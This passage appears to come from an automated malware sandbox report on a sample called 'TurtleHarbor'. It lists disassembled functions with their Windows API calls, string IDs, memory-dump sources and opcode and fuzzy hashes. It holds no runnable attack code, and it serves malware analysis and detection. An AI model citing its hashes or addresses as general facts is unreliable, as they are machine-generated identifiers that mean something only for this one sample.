                                            • Opcode Fuzzy Hash: 23da2c1a3f164f32c287e0508edd3a2ff38f598a972bc378d978a778cd4f32c1
                                            • Instruction Fuzzy Hash: 5F519F31604700DFDB22EF24DC49B6AB7E8EF49710F1485A9FA95DB2A1DB70E940CB42
                                            Function 0037BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetErrorMode.KERNEL32(00000001), ref: 0037BB13
                                            • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0037BB89
                                            • GetLastError.KERNEL32 ref: 0037BB93
                                            • SetErrorMode.KERNEL32(00000000,READY), ref: 0037BC00
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Error$Mode$DiskFreeLastSpace
                                            • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                            • API String ID: 4194297153-14809454
                                            • Opcode ID: ff28db7c7adf4aa179d737bd50b3d760bf26abf43f9c14890cce970e53d3c3e8
                                            • Instruction ID: 45b093e5fa4c58913e3e6c930c732517d2f23d0807715ef6f00ba1b1250a5317
                                            • Opcode Fuzzy Hash: ff28db7c7adf4aa179d737bd50b3d760bf26abf43f9c14890cce970e53d3c3e8
                                            • Instruction Fuzzy Hash: C4318335A002099FCB26DF64C885FADF7B8EF45310F158059EC09DB295DB759D41CB51
                                            Function 003734DD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 82windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadIconW.USER32(00000000,00007F03), ref: 0037357C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconLoad
                                            • String ID: ,z=0z=$,z=0z=$blank$info$question$stop$warning
                                            • API String ID: 2457776203-1050991176
                                            • Opcode ID: 0573be7a0c8ff590aee88871506c7bc7f66c5f224b4baed5a551d477cd9f4afd
                                            • Instruction ID: 69aef92e82e511ebdaffc141e91253f79af9735826f269113660e8ed451de9ba
                                            • Opcode Fuzzy Hash: 0573be7a0c8ff590aee88871506c7bc7f66c5f224b4baed5a551d477cd9f4afd
                                            • Instruction Fuzzy Hash: 2211057164C346BAE7275A14DCC2DAA779CDF17770F20802EFA08EA181E7686F4067A0
                                            Function 00369B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00369BCC
                                            • GetDlgCtrlID.USER32 ref: 00369BD7
                                            • GetParent.USER32 ref: 00369BF3
                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00369BF6
                                            • GetDlgCtrlID.USER32(?), ref: 00369BFF
                                            • GetParent.USER32(?), ref: 00369C1B
                                            • SendMessageW.USER32(00000000,?,?,00000111), ref: 00369C1E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$CtrlParent$ClassName_memmove
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 1536045017-1403004172
                                            • Opcode ID: 71992ea0ed5d58617c40737d2f35611b1fcb5a4c389c7beb561571442cf896f1
                                            • Instruction ID: ca9513076721dc187bb3f10df62ee34157698df1764ab4c7ce420dc3ea243414
                                            • Opcode Fuzzy Hash: 71992ea0ed5d58617c40737d2f35611b1fcb5a4c389c7beb561571442cf896f1
                                            • Instruction Fuzzy Hash: C521D374900118BFCF06EB64DC85EFEBBB9EF96310F104116F9619B2E5DB7449189B60
                                            Function 00369C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00369CB5
                                            • GetDlgCtrlID.USER32 ref: 00369CC0
                                            • GetParent.USER32 ref: 00369CDC
                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00369CDF
                                            • GetDlgCtrlID.USER32(?), ref: 00369CE8
                                            • GetParent.USER32(?), ref: 00369D04
                                            • SendMessageW.USER32(00000000,?,?,00000111), ref: 00369D07
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$CtrlParent$ClassName_memmove
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 1536045017-1403004172
                                            • Opcode ID: f87e3b23a427a7da41366d59729d7b1d8d0e18980981499591d40b23f92adfcb
                                            • Instruction ID: 9070b9724904455cd9a2d4c29020bc6b087feccb03509596527e281d6850ef56
                                            • Opcode Fuzzy Hash: f87e3b23a427a7da41366d59729d7b1d8d0e18980981499591d40b23f92adfcb
                                            • Instruction Fuzzy Hash: FE21D075E40108BBDF06ABA4CC85EFEBBBDEF95300F104016F951972A5DB7589289B20
                                            Function 00369D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetParent.USER32 ref: 00369D27
                                            • GetClassNameW.USER32(00000000,?,00000100), ref: 00369D3C
                                            • _wcscmp.LIBCMT ref: 00369D4E
                                            • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00369DC9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassMessageNameParentSend_wcscmp
                                            • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                            • API String ID: 1704125052-3381328864
                                            • Opcode ID: 56b3b61f76a0dfde88c3f311ce7df2789e72ea08557f61a6a687631156a87633
                                            • Instruction ID: 54bef0099cf295a5a2ede3ac0ad2dc8a4ff4ca061d7f01195e041c9600036253
                                            • Opcode Fuzzy Hash: 56b3b61f76a0dfde88c3f311ce7df2789e72ea08557f61a6a687631156a87633
                                            • Instruction Fuzzy Hash: 7711297664870AFAF6072624EC06FE6739CDB06324F208037FA10E80E5FEB66E115B55
                                            Function 00377F4B Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                            Download Yara Rule
                                            APIs
                                            • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00378027
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ArraySafeVartype
                                            • String ID:
                                            • API String ID: 1725837607-0
                                            • Opcode ID: 5c6f1c6c65456cd32601e58010fb4d8d6601c6224ef9b87d09128bde1e6dec91
                                            • Instruction ID: 61d0c798e69a7802d0d85c2b195db01286c8772d0fb17046ee51f4874265cac5
                                            • Opcode Fuzzy Hash: 5c6f1c6c65456cd32601e58010fb4d8d6601c6224ef9b87d09128bde1e6dec91
                                            • Instruction Fuzzy Hash: 18B1B571A042099FDB26DF94D888BBEB7F9FF09311F158429E605EB251DB38D941CB90
                                            Function 003719CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentThreadId.KERNEL32 ref: 003719EF
                                            • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00370A67,?,00000001), ref: 00371A03
                                            • GetWindowThreadProcessId.USER32(00000000), ref: 00371A0A
                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00370A67,?,00000001), ref: 00371A19
                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00371A2B
                                            • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00370A67,?,00000001), ref: 00371A44
                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00370A67,?,00000001), ref: 00371A56
                                            • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00370A67,?,00000001), ref: 00371A9B
                                            • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00370A67,?,00000001), ref: 00371AB0
                                            • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00370A67,?,00000001), ref: 00371ABB
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                            • String ID:
                                            • API String ID: 2156557900-0
                                            • Opcode ID: 6944ed509b7ec407d29859d3bd42f39893a19bfa72c0a955707d3dec948384f7
                                            • Instruction ID: 3c607060c6833b409eabc9e0659d6697c46b8907739f8cac2e16ac2ee3044d0a
                                            • Opcode Fuzzy Hash: 6944ed509b7ec407d29859d3bd42f39893a19bfa72c0a955707d3dec948384f7
                                            • Instruction Fuzzy Hash: 0931E172512204AFDB779F18EC44FAA37AEEB65319F128116F808C61A0DBB8AD508F50
                                            Function 0034C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColor.USER32(00000008), ref: 0031260D
                                            • SetTextColor.GDI32(?,000000FF), ref: 00312617
                                            • SetBkMode.GDI32(?,00000001), ref: 0031262C
                                            • GetStockObject.GDI32(00000005), ref: 00312634
                                            • GetClientRect.USER32(?), ref: 0034C0FC
                                            • SendMessageW.USER32(?,00001328,00000000,?), ref: 0034C113
                                            • GetWindowDC.USER32(?), ref: 0034C11F
                                            • GetPixel.GDI32(00000000,?,?), ref: 0034C12E
                                            • ReleaseDC.USER32(?,00000000), ref: 0034C140
                                            • GetSysColor.USER32(00000005), ref: 0034C15E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                            • String ID:
                                            • API String ID: 3430376129-0
                                            • Opcode ID: c730c4a237bda0ed9384a8b98d8fa1784462aade84bb1667633ac909e49395a4
                                            • Instruction ID: b8113aababfa3c7702e4a9ae2db259a49271b391728dba9962ee727afa57a92d
                                            • Opcode Fuzzy Hash: c730c4a237bda0ed9384a8b98d8fa1784462aade84bb1667633ac909e49395a4
                                            • Instruction Fuzzy Hash: 1B118B31505204BFDB6B5FB4EC48BEA7BBAEB0A321F104225FA65950F1CB7119A1EF11
                                            Function 0036AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                            Download Yara Rule
                                            APIs
                                            • EnumChildWindows.USER32(?,0036B13A), ref: 0036B078
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ChildEnumWindows
                                            • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                            • API String ID: 3555792229-1603158881
                                            • Opcode ID: 4ced1c474730d62816547e02dd831565d719a54249639fc513caad3a9f776fb8
                                            • Instruction ID: 94f1ebd4bf3c8a2858a6b1c575e7f87898c1ac2dd107ce8500440d49e57b50b4
                                            • Opcode Fuzzy Hash: 4ced1c474730d62816547e02dd831565d719a54249639fc513caad3a9f776fb8
                                            • Instruction Fuzzy Hash: 7E91C770500915EACB1AEF60C481BEEFBB4BF14304F10C119E85AEB155DF306999CFA1
                                            Function 003131F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetWindowLongW.USER32(?,000000EB), ref: 0031327E
                                              • Part of subcall function 0031218F: GetClientRect.USER32(?,?), ref: 003121B8
                                              • Part of subcall function 0031218F: GetWindowRect.USER32(?,?), ref: 003121F9
                                              • Part of subcall function 0031218F: ScreenToClient.USER32(?,?), ref: 00312221
                                            • GetDC.USER32 ref: 0034D073
                                            • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0034D086
                                            • SelectObject.GDI32(00000000,00000000), ref: 0034D094
                                            • SelectObject.GDI32(00000000,00000000), ref: 0034D0A9
                                            • ReleaseDC.USER32(?,00000000), ref: 0034D0B1
                                            • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0034D13C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                            • String ID: U
                                            • API String ID: 4009187628-3372436214
                                            • Opcode ID: d54352ba3d51518ccfcfa875eb71881e17debe613afda2af0b68c275f78d5a58
                                            • Instruction ID: e4ac4eae0ea9167eb6e3cfbaad7b2b6982cbb3f3a49dce5f3b23f01007667904
                                            • Opcode Fuzzy Hash: d54352ba3d51518ccfcfa875eb71881e17debe613afda2af0b68c275f78d5a58
                                            • Instruction Fuzzy Hash: 3871DD30500205EFCF279F64C884AEA7BF9FF49320F15466AED555F2A6C731A882DB60
                                            Function 0039C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                              • Part of subcall function 00312714: GetCursorPos.USER32(?), ref: 00312727
                                              • Part of subcall function 00312714: ScreenToClient.USER32(003D77B0,?), ref: 00312744
                                              • Part of subcall function 00312714: GetAsyncKeyState.USER32(00000001), ref: 00312769
                                              • Part of subcall function 00312714: GetAsyncKeyState.USER32(00000002), ref: 00312777
                                            • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0039C69C
                                            • ImageList_EndDrag.COMCTL32 ref: 0039C6A2
                                            • ReleaseCapture.USER32 ref: 0039C6A8
                                            • SetWindowTextW.USER32(?,00000000), ref: 0039C752
                                            • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0039C765
                                            • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0039C847
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                            • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                            • API String ID: 1924731296-2107944366
                                            • Opcode ID: 8192fd052ffe5c8f48e772fda2b7625b6aa45cac70daa648c8e309bf4c2f1216
                                            • Instruction ID: 22026ed4222895d0053a8c631205168b0626c59715e4e831b60a61c61fa68407
                                            • Opcode Fuzzy Hash: 8192fd052ffe5c8f48e772fda2b7625b6aa45cac70daa648c8e309bf4c2f1216
                                            • Instruction Fuzzy Hash: 8551CE71508304AFDB06EF14DC5AFAA7BE5EB88310F00491DF9958B2E1DB30A958CB52
                                            Function 003820E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0038211C
                                            • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00382148
                                            • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0038218A
                                            • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0038219F
                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003821AC
                                            • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 003821DC
                                            • InternetCloseHandle.WININET(00000000), ref: 00382223
                                              • Part of subcall function 00382B4F: GetLastError.KERNEL32(?,?,00381EE3,00000000,00000000,00000001), ref: 00382B64
                                              • Part of subcall function 00382B4F: SetEvent.KERNEL32(?,?,00381EE3,00000000,00000000,00000001), ref: 00382B79
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                            • String ID:
                                            • API String ID: 2603140658-3916222277
                                            • Opcode ID: 34185ea5114c686591f78e54a9c10e5acfb87bc1c6d4c48a1436d1587cf272c2
                                            • Instruction ID: c98ebde9b17d6d203722e2eefe76a89a2aa808c67dbd00bbc59c51cc01c7424e
                                            • Opcode Fuzzy Hash: 34185ea5114c686591f78e54a9c10e5acfb87bc1c6d4c48a1436d1587cf272c2
                                            • Instruction Fuzzy Hash: A3416DB1501318BFEB57AF60CC89FBB7BACEF09354F104156FA059A191D771AE448BA0
                                            Function 00389330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(?,?,00000104,?,003A0980), ref: 00389412
                                            • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,003A0980), ref: 00389446
                                            • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 003895C0
                                            • SysFreeString.OLEAUT32(?), ref: 003895EA
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                            • String ID:
                                            • API String ID: 560350794-0
                                            • Opcode ID: ba583d045e5128db1709ab32be8650a3e6578c90cb4d641a96101be1bb68a1d7
                                            • Instruction ID: cf1458e4216bd2141a400f9afdcca15d2eb6925838d140bfff5bd1c0fd2df04f
                                            • Opcode Fuzzy Hash: ba583d045e5128db1709ab32be8650a3e6578c90cb4d641a96101be1bb68a1d7
                                            • Instruction Fuzzy Hash: 0CF12B71A00209EFCB16EF94C884EBEB7B9FF49314F158099F516AB251DB31AE46CB50
                                            Function 0038FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0038FD9E
                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0038FF31
                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0038FF55
                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0038FF95
                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0038FFB7
                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00390133
                                            • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00390165
                                            • CloseHandle.KERNEL32(?), ref: 00390194
                                            • CloseHandle.KERNEL32(?), ref: 0039020B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                            • String ID:
                                            • API String ID: 4090791747-0
                                            • Opcode ID: 1a20055f6b97ea6eb2147e59e18e89e62193de570028675d3bcbd71cbb098f95
                                            • Instruction ID: 863ca28694457f730dcb48b705c0478c2434f3be6cfe4b692d14f502931af45c
                                            • Opcode Fuzzy Hash: 1a20055f6b97ea6eb2147e59e18e89e62193de570028675d3bcbd71cbb098f95
                                            • Instruction Fuzzy Hash: 50E1A031204301DFCB1AEF24C891B6ABBE5AF89310F15855DF9999F2A2DB31EC45CB52
                                            Function 0037527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00374BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00373B8A,?), ref: 00374BE0
                                              • Part of subcall function 00374BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00373B8A,?), ref: 00374BF9
